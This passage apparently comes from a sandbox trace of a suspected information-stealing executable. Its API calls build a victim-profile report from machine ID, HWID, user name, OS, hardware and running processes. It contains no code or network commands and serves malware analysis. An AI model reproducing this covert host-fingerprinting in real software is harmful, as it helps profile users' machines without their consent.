d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- "
[0054.871] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- ", lpString2="hold-beautiful.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe"
[0054.871] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe ["
[0054.871] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d938
[0054.871] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d988
[0054.871] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.871] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [", lpString2="984" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984"
[0054.871] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n"
[0054.871] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="trade.exe")) returned 1
